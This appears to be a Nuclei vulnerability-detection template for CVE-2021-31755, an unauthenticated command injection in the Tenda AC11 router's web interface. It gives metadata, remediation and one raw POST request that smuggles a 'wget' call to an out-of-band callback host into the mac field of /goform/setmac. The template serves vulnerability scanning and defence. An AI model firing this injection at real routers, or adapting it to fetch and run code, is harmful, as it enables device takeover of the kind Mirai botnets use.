id: CVE-2021-31755 info: name: Tenda Router AC11 - Remote Command Injection author: gy741 severity: critical description: Tenda Router AC11 is susceptible to remote command injection vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. impact: | Successful exploitation of this vulnerability could lead to unauthorized access, data exfiltration, and complete compromise of the affected router. remediation: | Apply the latest firmware update provided by Tenda to fix the remote command injection vulnerability (CVE-2021-31755). reference: - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3 - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai - https://nvd.nist.gov/vuln/detail/CVE-2021-31755 - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors - https://github.com/Yu3H0/IoT_CVE classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-31755 cwe-id: CWE-787 epss-score: 0.97104 epss-percentile: 0.99781 cpe: cpe:2.3:o:tenda:ac11_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: tenda product: ac11_firmware tags: cve2021,cve,tenda,rce,oast,router,mirai,kev http: - raw: - | POST /goform/setmac HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Referer: {{BaseURL}}/index.htmlr Content-Type: application/x-www-form-urlencoded module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" # digest: 490a00463044022066374cd3cba293cdd5323e654c3596af22de64979b1ef3962c344cae21d1894b0220685618efe4f4080e0f0b3d9e41d9088f6a1284e302fed371714148ae75bc0af0:922c64590222798bb761d5b6d8e72950